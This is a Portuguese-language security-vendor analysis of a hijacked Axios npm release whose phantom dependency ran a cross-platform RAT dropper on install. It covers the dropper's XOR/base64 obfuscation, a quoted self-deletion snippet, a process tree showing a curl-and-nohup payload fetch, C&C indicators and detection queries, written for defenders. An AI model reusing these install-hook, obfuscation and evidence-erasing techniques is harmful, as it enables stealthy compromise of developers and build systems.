Skip to main content
Return to Blog de Segurança TrendAI™
Cyber crime

Pacote NPM Axios Comprometido: Ataque à Cadeia de Suprimentos Atinge Cliente HTTP JavaScript com Mais de 100 Milhões de Downloads Semanais

Um ataque à cadeia de suprimentos atingiu a Axios quando invasores usaram credenciais npm roubadas para publicar versões maliciosas contendo uma dependência fantasma. Isso acionou um RAT multiplataforma durante a instalação e substituiu seus arquivos por iscas limpas, tornando a detecção desafiadora.

Cyber threats News

Key Takeaways

  • Axios, um cliente HTTP JavaScript amplamente utilizado com mais de 100 milhões de downloads semanais no npm, foi comprometido quando um invasor sequestrou a conta npm do mantenedor principal e publicou duas versões maliciosas (1.14.1 e 0.30.4) que implantaram um trojan de acesso remoto (RAT) multiplataforma.
  • O ataque introduziu uma dependência fantasma, plain-crypto-js@4.2.1, que executou um gancho de pós-instalação para entregar malware persistente no macOS, Windows e Linux, e depois apagou as evidências substituindo seus próprios arquivos por iscas limpas.
  • O invasor contornou as proteções de Publicador Confiável do OIDC do GitHub Actions ao publicar manualmente versões comprometidas usando um token npm roubado, sem deixar rastros no repositório oficial do GitHub.
  • Scanners de segurança automatizados do npm sinalizaram a dependência maliciosa em minutos, e a administração do npm removeu os pacotes comprometidos logo em seguida.
  • A análise forense revelou ofuscação sofisticada, anti-forense e cargas úteis específicas de plataforma, destacando lacunas críticas na segurança da cadeia de suprimentos, especialmente em torno da fixação de dependências e proteções de pipeline CI/CD.

Axios, o cliente HTTP mais popular do ecossistema JavaScript com mais de 100 milhões de downloads semanais no npm, foi comprometido em 30 de março de 2026, utilizado como veículo de entrega para um trojan de acesso remoto (RAT) multiplataforma. O atacante sequestrou a conta npm do mantenedor principal, publicou duas versões contaminadas nos ramos de lançamento 1.x e 0.x legado dentro de 39 minutos uma da outra, e injetou uma dependência fantasma cujo único propósito era implantar malware persistente no macOS, Windows e Linux. O malware se autodestruiu após a execução, substituindo suas próprias evidências por um disfarce limpo.

Cronograma do ataque

A operação por trás do comprometimento foi pré-estabelecida ao longo de ~18 horas, com a dependência maliciosa semeada no npm antes dos lançamentos do Axios para evitar alarmes de "pacote novo":

Timestamp (UTC) Event
March 30, 2026 05:57 UTC plain-crypto-js@4.2.0 published by nrwise@proton.me — clean decoy to build registry history
March 30, 2026 23:59 UTC plain-crypto-js@4.2.1 published — malicious payload with postinstall: "node setup.js"
March 31, 2026 00:05 UTC Automated npm security scanners flag plain-crypto-js as malware (six-minute detection)
March 31, 2026 00:21 UTC axios@1.14.1 published by compromised jasonsaayman account (email: ifstap@proton.me)
March 31, 2026 01:00 UTC axios@0.30.4 published — 39 minutes later, poisoning the legacy 0.x branch
March 31, 2026 ~03:30 UTC npm administration removes all compromised versions and revokes tokens
Table 1. Attack timeline of the Axios supply chain compromise

Até o momento desta escrita, observamos em nossa telemetria atividade consistente com esta ameaça afetando organizações em vários setores, incluindo Governo, Finanças, Varejo, Consultoria, Entretenimento, Manufatura, Tecnologia, Saúde e Utilidades.

Como a conta do mantenedor foi sequestrada

O atacante comprometeu jasonsaayman, o mantenedor principal do projeto Axios no npm. O e-mail da conta foi alterado para ifstap@proton.me, um endereço ProtonMail controlado pelo atacante.

Todo lançamento legítimo do Axios 1.x é publicado via GitHub Actions com o mecanismo OIDC Trusted Publisher do npm, vinculando criptograficamente a publicação a um fluxo de trabalho CI verificado. O malicioso 1.14.1 foi publicado manualmente com um token de acesso npm roubado, sem vinculação OIDC e sem gitHead.

Não há commit, tag ou lançamento no repositório GitHub do Axios que corresponda a 1.14.1 ou 0.30.4. Os lançamentos existem apenas no npm.

Quando o colaborador do Axios DigitalBrainJS tentou responder, o atacante usou as credenciais sequestradas (que tinham permissões de nível administrativo) para desfixar e excluir problemas de divulgação. O colaborador declarou publicamente: "É inútil. Como o acesso ao git e ao repositório npm está comprometido, e suas permissões git são maiores que as minhas. Sou um colaborador, não um administrador. Não posso revogar seu acesso. O que quer que eu conserte, ele 'consertará' depois de mim."

Sinal forense chave — comparação OIDC:

// axios@1.14.0 — LEGITIMATE
"_npmUser": {
"name": "GitHub Actions",
"trustedPublisher": { "id": "github", "oidcConfigId": "..." }
}

// axios@1.14.1 — MALICIOUS
"_npmUser": {
"name": "jasonsaayman",
"email": "ifstap@proton.me"
// no trustedPublisher, no gitHead
}
Figure 1. GitHub issue #10604 — the Axios collaborator confirming the compromised maintainer has admin permissions.
Figure 1. GitHub issue #10604 — the Axios collaborator confirming the compromised maintainer has admin permissions.

A dependência fantasma: plain-crypto-js@4.2.1

A única mudança em ambas as versões contaminadas do Axios é uma nova dependência: plain-crypto-js@^4.2.1. Este pacote nunca é importado ou requerido em qualquer lugar no código fonte do Axios. Um grep em todos os 86 arquivos confirma zero uso. Ele existe no package.json apenas para acionar a resolução automática de dependências do npm e executar seu gancho postinstall.

Esta é a característica definidora de um ataque de dependência fantasma — um pacote adicionado ao manifesto puramente por seus efeitos colaterais durante a instalação.

O pacote plain-crypto-js@4.2.1 foi sinalizado como malware conhecido com uma pontuação de segurança de cadeia de suprimentos de 0% por vários scanners automatizados dentro de minutos após a publicação. O axios comprometido@1.14.1 foi sinalizado de forma semelhante e posteriormente despublicado pelo npm.

Análise técnica: O dropper RAT (setup.js)

Arquitetura de ofuscação

Todos os strings sensíveis são armazenados como valores codificados em um array stq[]. Duas funções os decodificam em tempo de execução:

  • _trans_1(x, r) — cifra XOR: A chave "OrDeR_7077" é analisada através do Number() do JavaScript. Caracteres alfabéticos produzem NaN, que em operações bitwise se torna 0. Apenas os dígitos 7, 0, 7, 7 sobrevivem, dando uma chave efetiva de [0,0,0,0,0,0,7,0,7,7]. Cada caractere é decodificado como: charCode XOR key[(7*r*r) % 10] XOR 333
  • _trans_2(x, r) — Camada externa: Reverte o string codificado, substitui _ por =, decodifica base64, então passa por _trans_1.

Strings totalmente decodificados

Index Decoded value Purpose
stq[0] child_process Shell execution
stq[1] os Platform detection
stq[2] fs Filesystem operations
stq[3] hxxp://sfrclak[.]com:8000/ C&C base URL
stq[5] win32 Windows identifier
stq[6] darwin macOS identifier
stq[13] package.json Deleted after execution
stq[14] package.md Clean stub renamed to package.json
Table 2. Decoded string values and their functions

Código fonte anotado: setup.js

O seguinte walkthrough cobre a carga maliciosa completa do plain-crypto-js@4.2.1, com cada caminho de código significativo anotado.

Funções de decodificação

  • _trans_1(x, r) divide a chave "OrDeR_7077" em caracteres e mapeia cada um através do Number(). Caracteres não dígitos produzem NaN, que se torna 0 em XOR bitwise. A chave efetiva é [0,0,0,0,0,0,7,0,7,7]. Cada caractere é decodificado como: charCode XOR key[(7*r*r) % 10] XOR 333. O índice quadrático (7r² mod 10) embaralha o padrão de acesso à chave para derrotar a análise de frequência.
  • _trans_2(x, r) reverte o string codificado, restaura o padding base64 (substituindo _ por =), decodifica base64, então passa o resultado por _trans_1. Ambas as funções são envolvidas em try/catch {} — erros são silenciosamente engolidos para que uma falha parcial nunca produza um stack trace visível.

Ponto de entrada: _entry("6202033")

O ID da campanha "6202033" é passado como um argumento e anexado ao URL C&C. Antes de despachar, a função decodifica seis tokens de placeholder divididos em base64:

Variable Encoded Decoded
E atob("TE9DQUw=") + atob("X1BBVEg=") LOCAL_PATH
S atob("UFM=") + atob("X1BBVEg=") PS_PATH
a atob("U0NSXw==") + atob("TElOSw==") SCR_LINK
c atob("UFNfQg==") + atob("SU5BUlk=") PS_BINARY
s atob("d2hlcmUgcG93ZXJzaGVsbA==") where powershell
Table 3. Platform-specific placeholder tokens used in setup.js

Cada chamada atob() é deliberadamente dividida em duas metades para prevenir a detecção baseada em grep do string completo. Esses tokens são variáveis de template — o dropper decodifica templates de comando shell específicos da plataforma de stq[], então substitui esses tokens pelo URL C&C real e caminhos de arquivo locais.

Os três módulos principais (fs, os, child_process) são carregados via chamadas require() dinâmicas que decodificam o nome do módulo em tempo de execução de stq[]. Isso evita scanners de análise estática que procuram por padrões literais require("child_process"), tornando as importações invisíveis para revisão de código automatizada.

Despacho de plataforma

O dropper usa um padrão for(;;) { ... break } — um loop infinito que executa exatamente uma vez. Esta é uma técnica de ofuscação deliberada que evita uma estrutura limpa de if/else identificável como um despachante de plataforma em revisão de código automatizada. Dentro:

  • macOS (darwin): Decodifica um template AppleScript de stq[9], substitui SCR_LINK pelo URL C&C e LOCAL_PATH por /tmp/6202033, grava no disco, então executa via um comando de stq[10].
  • Windows (win32): Executa "where powershell" para localizar o interpretador, copia para %PROGRAMDATA%\wt.exe (disfarçado como Terminal do Windows), grava um lançador VBScript em %TEMP%\6202033.vbs com o URL C&C e caminhos PowerShell injetados, então executa.
  • Linux (default): Decodifica um comando curl + nohup de stq[12], substitui SCR_LINK pelo URL C&C, e executa diretamente via execSync.

Anti-forense (três operações finais)

F(n);                                  // execSync — RAT is now running
t.unlink(__filename, (x => {}));       // DELETE setup.js
t.unlink("package.json", (x => {}));   // DELETE malicious manifest
t.rename("package.md", "package.json", // SWAP clean stub into place
           (x => {}));

Todo callback é (x => {}) — erros são silenciosamente engolidos. Toda a função _entry é envolvida em try/catch {} pelo mesmo motivo. A linha final — _entry("6202033") — é a única chamada não ofuscada no arquivo, executando imediatamente quando node setup.js é invocado pelo gancho postinstall do npm.

Cargas específicas da plataforma

macOS: dropper AppleScript

Corpo POST C&C: packages.npm.org/product0

O C&C retorna um binário macOS salvo em /Library/Caches/com.apple.act.mond — um caminho projetado para imitar entradas de cache do sistema Apple. O nome "com.apple.act.mond" segue a convenção de daemon de DNS reverso da Apple, provavelmente abreviando "Activity Monitor Daemon." Tornado executável com chmod 770 e lançado via /bin/zsh em segundo plano. Arquivo AppleScript se autodeleta após execução.

Windows: cadeia VBScript + PowerShell

Corpo POST C&C: packages.npm.org/product1

Ataque em quatro estágios:

  1. Localiza PowerShell via "where powershell"
  2. Copia o binário PowerShell para %PROGRAMDATA%\wt.exe (disfarçado como Terminal do Windows)
  3. VBScript executa cmd.exe oculto que busca RAT PowerShell do C&C, executa com -ExecutionPolicy Bypass -WindowStyle Hidden, então se autodeleta. Artefato persistente: %PROGRAMDATA%\wt.exe.
  4. O script buscado executa sua carga final inteiramente na memória. O binário PowerShell renomeado (wt.exe) executa o seguinte comando:
Figure 2. wt.exe executes the final payload entirely in memory, running the attacker’s script without writing it to disk.
Figure 2. wt.exe executes the final payload entirely in memory, running the attacker’s script without writing it to disk.

Invoke-WebRequest POSTa o identificador de plataforma Windows para o C&C e recebe o script de segundo estágio no corpo da resposta HTTP. Esse corpo é decodificado em UTF-8, passado para [scriptblock]::Create(), e executado inline — inteiramente na memória do processo PowerShell atual. Nenhum arquivo intermediário é gravado para a carga final. O URL C&C é passado como um argumento para o scriptblock, permitindo que o código entregue chame de volta para tarefas adicionais sem codificar o endereço.

Linux: RAT Python

Corpo POST C&C: packages.npm.org/product2

Execução direta via execSync: baixa RAT Python para /tmp/ld.py e executa destacado via nohup. O prefixo do corpo POST “packages.npm.org/” parece intencionalmente escolhido para parecer relacionado ao npm durante uma revisão rápida e para se misturar aos logs, mesmo que não seja o domínio oficial do registro npm (registry.npmjs.org).

Análise de infraestrutura C&C

Nossa análise da infraestrutura C&C revela o perfil operacional do servidor do atacante:

Property Value
Domain registered March 30, 2026 16:03:46 UTC
Registrar Namecheap Inc
Name servers dns1.registrar-servers.com, dns2.registrar-servers.com
Hosting provider Hostwinds LLC (AS54290)
Hosting country United States
DNS SPF record v=spf1 include:spf.efwd.registrar-servers.com ~all
DNS MX records eforward[1-5].registrar-servers.com (Namecheap default email forwarding)
Table 4. The attacker’s C&C infrastructure

O domínio foi registrado às 16:03 UTC em 30 de março, 10 horas após o decoy plain-crypto-js@4.2.0 ter sido publicado (05:57 UTC) e oito horas antes da carga maliciosa @4.2.1 entrar em operação (23:59 UTC). Isso confirma que a infraestrutura foi provisionada no mesmo dia da preparação do ataque. O uso da configuração padrão de DNS e encaminhamento de e-mail da Namecheap, combinado com um domínio recém-registrado em um provedor de hospedagem de commodities, é consistente com infraestrutura descartável de operação única.

Nossa plataforma de inteligência de ameaças indexa 10 URLs sob sfrclak[.]com, incluindo os endpoints C&C específicos da plataforma:

URL Context
hxxp[://]sfrclak[.]com:8000/6202033 Primary C&C callback (campaign ID in path)
hxxp[://]sfrclak[.]com:8000/6202033.ps1 Windows PowerShell payload download
hxxp[://]sfrclak[.]com Base domain
Table 5. Key URLs associated with sfrclak[.]com C&C server

As baixas pontuações de reputação comunitária entre esses URLs indicam que o bloqueio a nível de rede baseado em domínio e IP — em vez de correspondência de padrão de URL — é o controle mais confiável no momento.

Anti-forense: Sequência de autodestruição

Após lançar a carga, setup.js realiza três etapas de limpeza:

  1. Se autodeleta - fs.unlink(__filename) remove setup.js
  2. Deleta package.json - remove o manifesto com o gancho postinstall
  3. Renomeia package.md para package.json - um stub limpo pré-estabelecido (v4.2.0, sem postinstall) toma seu lugar

Pós-infecção, qualquer inspeção de node_modules/plain-crypto-js/package.json mostra um manifesto completamente limpo. As evidências foram trocadas no local.

Sinal de detecção: A mera existência de node_modules/plain-crypto-js/ é evidência suficiente de comprometimento — este pacote não é uma dependência de qualquer versão legítima do Axios.

Confirmação de tempo de execução

A análise estática foi validada instalando axios@1.14.1 dentro de um runner GitHub Actions instrumentado com monitoramento de segurança em tempo de execução no modo de auditoria, capturando cada conexão de saída, processo gerado e gravação de arquivo no nível do kernel.

Duas conexões C&C foram registradas:

  1. curl às 01:30:51Z - 1.1 segundos após o início da instalação do npm
  2. nohup às 01:31:27Z - em um passo de fluxo de trabalho completamente diferente

O malware persistiu como um processo de segundo plano destacado órfão para PID 1, independente do npm.

Árvore de processos: Cadeia de eliminação completa

PID 2366 bash (workflow script)
  └─ PID 2380 npm install axios@1.14.1
       └─ PID 2391 sh -c "node setup.js"
            └─ PID 2392 node setup.js
                 └─ PID 2399 /bin/sh -c "curl ... && nohup python3 ..."

PID 2401 curl -o /tmp/ld.py ... ppid: 2400
PID 2400 nohup python3 /tmp/ld.py ppid: 1 ← ORPHANED TO INIT
Figure 3. Infection flow of the malicious npm dependency leading to compromise
Figure 3. Infection flow of the malicious npm dependency leading to compromise

Campanha mais ampla: Pacotes relacionados

  • @shadanai/openclaw: Um fork do gateway OpenClaw AI com plain-crypto-js oculto em um caminho vendorizado. Setup.js idêntico, mesmo C&C, mesmas cargas.
  • @qqbrowser/openclaw-qbot@0.0.130: Envia um axios@1.14.1 adulterado pré-baked em seu diretório node_modules/ com plain-crypto-js já injetado. Diferente vetor de injeção, mesmo malware.

MITRE ATT&CK TTPs

ID Technique Description
T1195.002 Compromise Software Supply Chain Hijacked npm maintainer account published poisoned Axios versions bypassing OIDC Trusted Publisher
T1059.005 Command and Scripting Interpreter: VBScript 6202033.vbs launcher writes and executes PowerShell chain from %TEMP%
T1059.001 Command and Scripting Interpreter: PowerShell Fileless [scriptblock]::Create() execution from C&C HTTP response body via renamed wt.exe
T1059.006 Command and Scripting Interpreter: Python Linux RAT /tmp/ld.py executed detached via nohup, orphaned to PID 1
T1027 Obfuscated Files or Information XOR cipher (OrDeR_7077) + base64 reversal + string array rotation + split atob() calls
T1036 Masquerading wt.exe mimics Windows Terminal; com.apple.act.mond mimics Apple daemon; packages.npm.org/ prefix in POST body mimics npm registry traffic
T1070.004 Indicator Removal: File Deletion setup.js self-deletes, removes package.json, swaps in clean package.md stub
T1082 System Information Discovery os.platform() fingerprint determines macOS/Windows/Linux execution branch
T1071.001 Application Layer Protocol: Web Protocols HTTP POST to sfrclak[.]com:8000 with campaign ID 6202033 in URL path
T1620 Reflective Code Loading PowerShell [scriptblock]::Create() from C&C response content executed in-process without disk write
Table 6. TTPs used in the software supply chain attack

Remediação

Remediação rápida e completa é essencial após um ataque de cadeia de suprimentos como o comprometimento do Axios. Os seguintes passos podem ajudar na remoção de componentes maliciosos, restauração de ambientes seguros e fortalecimento das defesas contra futuros incidentes:

  1. Fixar em versões seguras: npm install axios@1.14.0 (1.x) ou axios@0.30.3 (0.x)
  2. Adicionar substituições/resoluções no package.json para prevenir resolução transitiva
  3. Remover plain-crypto-js: rm -rf node_modules/plain-crypto-js && npm install --ignore-scripts
  4. Se artefatos RAT forem encontrados: Não limpar no local. Reconstruir a partir de um estado conhecido bom.
  5. Rotacionar TODAS as credenciais: tokens npm, chaves AWS, chaves SSH, segredos CI/CD, valores .env
  6. Auditar pipelines CI/CD: Qualquer fluxo de trabalho que executou npm install durante a janela de exposição — rotacionar todos os segredos injetados
  7. Bloquear C&C na rede/DNS: Adicionar sfrclak.com à lista de bloqueio
  8. Usar npm ci --ignore-scripts em CI/CD como política permanente

Lições para desenvolvedores, operadores de registro e equipes de segurança

O comprometimento do Axios revela lacunas críticas na segurança da cadeia de suprimentos, mostrando como uma única tomada de conta pode impactar milhões. Este ataque destaca a importância de fixação estrita de dependências, salvaguardas CI/CD e controles de registro vigilantes. Ao examinar as falhas técnicas e operacionais expostas nesta campanha, podemos identificar insights valiosos que podem ajudar a mitigar riscos futuros:

Para desenvolvedores

  • Fixar versões de dependência. Intervalos de acento circunflexo (^1.14.0) puxam silenciosamente o próximo menor/correção. Fixação exata com verificação de arquivo de bloqueio é a defesa mínima.
  • Usar npm ci --ignore-scripts em CI/CD. Ganchos postinstall são o vetor de execução primário para ataques de cadeia de suprimentos npm.
  • Auditar arquivos de bloqueio, não apenas package.json. A dependência maliciosa era transitiva — apenas visível em package-lock.json.

Para operadores de registro de pacotes

  • A adoção do OIDC Trusted Publisher deve se tornar a norma. A publicação maliciosa foi trivialmente detectável como anômala porque não tinha a vinculação OIDC.
  • A detecção de tomada de conta deve sinalizar mudanças de e-mail em pacotes de alto download e acionar revisões.
  • Janelas de cooldown em pacotes recém-publicados, mesmo 24 horas teriam limitado o raio de explosão.

Para equipes de segurança

  • Monitorar por dependências fantasma: pacotes em manifestos mas nunca importados no código fonte.
  • Monitoramento de saída de rede em CI/CD captura o que a análise estática perde.
  • Evidências pós-instalação podem ser destruídas. Diffs de arquivo de bloqueio e logs de rede são fontes forenses mais confiáveis.

Segurança proativa com TrendAI Vision One™

TrendAI Vision One™ plataforma é a plataforma de cibersegurança AI líder da indústria que centraliza a gestão de exposição ao risco cibernético, operações de segurança e proteção robusta em camadas.

TrendAI Vision One™ Threat Intelligence Hub

TrendAI Vision One™ Threat Intelligence Hub fornece as últimas informações sobre ameaças emergentes e atores de ameaças, relatórios estratégicos exclusivos da TrendAI™ Research, e Feed de Inteligência de Ameaças TrendAI Vision One™ na plataforma TrendAI Vision One™.

Ameaças Emergentes: Axios Comprometido: Dentro do Ataque de Cadeia de Suprimentos que Atingiu 100M+ Downloads Semanais

Relatórios de Inteligência TrendAI Vision One™ (Varredura IOC)

Axios Comprometido: Dentro do Ataque de Cadeia de Suprimentos que Atingiu 100M+ Downloads Semanais

Consultas de Caça

TrendAI Vision One™ Search App

Clientes TrendAI Vision One™ podem usar o Search App para combinar ou caçar os indicadores maliciosos mencionados neste post de blog com dados em seu ambiente.

Detectar criação de arquivo temporário específico da campanha pelo dropper postinstall npm

eventSubId:101 AND objectFilePath:(*\Temp\6202033* OR */tmp/6202033*) AND parentFilePath:(*\node.exe OR */node)

Detectar conexões de saída para ataque de cadeia de suprimentos Axios C&C

eventSubId:204 AND dst:("sfrclak.com" OR "142.11.206.73")

Mais consultas de caça estão disponíveis para TrendAI Vision One™ com Threat Intelligence Hub habilitado.

Indicadores de comprometimento (IOCs)

Indicator Value Detection
Network Indicators    
C&C Domain sfrclak[.]com 91. C&C server
C&C URL http[://]sfrclak[.]com:8000/6202033 79. Disease Vector
C&C Domain callnrwise[.]com 91. C&C server
C&C IP 142[.]11[.]206[.]73 91. C&C server
POST body (macOS) packages.npm.org/product0  
POST body (Windows) packages.npm.org/product1  
POST body (Linux) packages.npm.org/product2  
Malicious NPM Packages    
axios@1.14.1 2553649f2322049666871cea80a5d0d6adc700ca Trojan.JS.TPCPSTEAL.A
axios@0.30.4 d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71  
plain-crypto-js@4.2.1 07d889e2dadce6f3910dcbc253317d28ca61c766 Trojan.JS.TPCPSTEAL.A
File Hashes    
setup.js — RAT dropper (plain-crypto-js@4.2.1 postinstall payload) e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09 Trojan.JS.AXIOSDROP.THCCABF
6202033.vbs — Powershell RAT downloader 591a70e8b166265804c1e2add3f5554b38364a8750248a8c5be751c5cd9b1655 Trojan.VBS.AXIOSDROP.AA
6202033.ps1 — PowerShell RAT ed8560c1ac7ceb6983ba995124d5917dc1a00288912387a6389296637d5f815c Backdoor.PS1.AXIOSRAT.THCCABF
6202033.ps1 — PowerShell RAT 617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101 Trojan.PS1.AXIOSDROP.THCCABF
system.bat — Windows fileless loader f7d335205b8d7b20208fb3ef93ee6dc817905dc3ae0c10a0b164f4e7d07121cd Trojan.PS1.AXIOSDROP.THCCABG
com.apple.act.mond 92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a Backdoor.MacOS.NUKESPED.MANP
ld.py — Linux Python RAT fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf Backdoor.Python.AXIOSRAT.THCCABF

Com contribuições de Ian Kenefick.